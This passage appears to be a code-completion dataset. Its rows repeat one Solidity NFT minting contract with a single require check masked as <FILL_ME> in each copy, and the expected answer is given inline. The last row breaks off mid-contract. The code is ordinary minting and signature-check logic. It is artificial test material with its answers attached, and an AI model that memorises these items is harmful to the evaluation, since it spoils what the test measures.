// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(<FILL_ME>) // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| burned[body.id]==address(0),"1" | 412,628 | burned[body.id]==address(0) |
"2" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(<FILL_ME>) // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| _hashTypedDataV4(bodyhash).recover(body.signature)==owner(),"2" | 412,628 | _hashTypedDataV4(bodyhash).recover(body.signature)==owner() |
"8a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
